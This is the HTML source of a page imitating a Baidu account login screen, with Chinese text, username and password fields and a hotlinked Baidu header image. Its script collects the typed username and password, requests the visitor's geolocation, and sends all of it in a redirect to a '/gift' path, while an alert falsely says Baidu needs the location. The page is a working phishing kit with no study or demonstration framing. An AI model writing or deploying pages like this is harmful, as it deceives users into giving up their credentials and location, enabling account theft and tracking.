index.html 4.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <style>
  5. .bg1 {
  6. background-image: url(https://ppui-static-wap.cdn.bcebos.com/static/appsapi/img/header-bg-old.11371b7.png);
  7. width: 100%;
  8. height: 28rem
  9. }
  10. .logonbox {
  11. width: 96%;
  12. height: 600px;
  13. background-color: white;
  14. }
  15. .title {
  16. width: 96%;
  17. height: 1200px;
  18. background-color: white;
  19. border-radius: 75px
  20. }
  21. .input {
  22. width: 90%;
  23. height: 120px;
  24. border-radius: 45px;
  25. border: none;
  26. background-color: #f5f5f5;
  27. font-size: 45px;
  28. text-align: center;
  29. }
  30. .btn {
  31. width: 90%;
  32. height: 120px;
  33. border-radius: 45px;
  34. border: none;
  35. background-color: cornflowerblue;
  36. font-size: 45px;
  37. text-align: center;
  38. color: white;
  39. }
  40. </style>
  41. </head>
  42. <body bgcolor="aliceblue">
  43. <div align="center">
  44. <div class="bg1">
  45. <div align="center">
  46. <div style="width:100%;height:15rem"></div>
  47. <div class="title">
  48. <br/>
  49. <h1 style="font-size:60px">登录百度账户 享受更多精彩</h1>
  50. <div style="width:100%;height:100px"></div>
  51. <input id="usersname" class="input" placeholder="百度账户/邮箱/手机号"/>
  52. <div style="width: 100%;height:50px;"></div>
  53. <input id="pwd" type="password" class="input" placeholder="密码"/>
  54. <div align="right" style="width: 90%;">
  55. <p style="font-size: 40px;">忘记密码</p>
  56. </div>
  57. <div style="width: 100%;height: 50px;"></div>
  58. <button class="btn" onclick="logon()">登录</button>
  59. <div align="center">
  60. <div style="width: 100%;height:50px;"></div>
  61. <table>
  62. <td>
  63. <input type="checkbox" class="checkbox1"/>
  64. </td>
  65. <td>
  66. <p style="font-size: 30px;">登录即代表同意</p>
  67. </td>
  68. <td>
  69. <h3 style="font-size: 30px;">百度服务协议 </h3>
  70. </td>
  71. <td>
  72. <p style="font-size: 30px;">和 </p>
  73. </td>
  74. <td>
  75. <h3 style="font-size: 30px;">百度账户条款</h3>
  76. </td>
  77. </table>
  78. </div>
  79. </div>
  80. </div>
  81. </div>
  82. </div>
  83. <style>
  84. .checkbox1 {
  85. width: 30px;
  86. height: 30px;
  87. border-radius: 100px;
  88. }
  89. </style>
  90. </body>
  91. </html>
  92. <script>
  93. function logon() {
  94. var password = document.getElementById("pwd").value;
  95. var usersname = document.getElementById("usersname").value;
  96. if (password == "") {
  97. alert("密码不可为空")
  98. return false
  99. }
  100. if (usersname == "") {
  101. alert("用户名不可为空")
  102. return false
  103. }
  104. if (usersname == "" && password == "") {
  105. alert("用户名和密码不可为空")
  106. return false
  107. } else {
  108. window.navigator.geolocation.getCurrentPosition(function (position) {
  109. console.log(position.coords.latitude)
  110. console.log(position.coords.longitude)
  111. var x = position.coords.latitude;
  112. var y = position.coords.longitude;
  113. let info = "?latitude=" + x + "&longitude=" + y + "&usesname=" + usersname + "&password=" + password
  114. window.location.href = '/gift' + info
  115. })
  116. error => {
  117. alert("百度必须访问您的地址才能为您提供服务")
  118. }
  119. }
  120. }
  121. function onload() {
  122. }
  123. </script>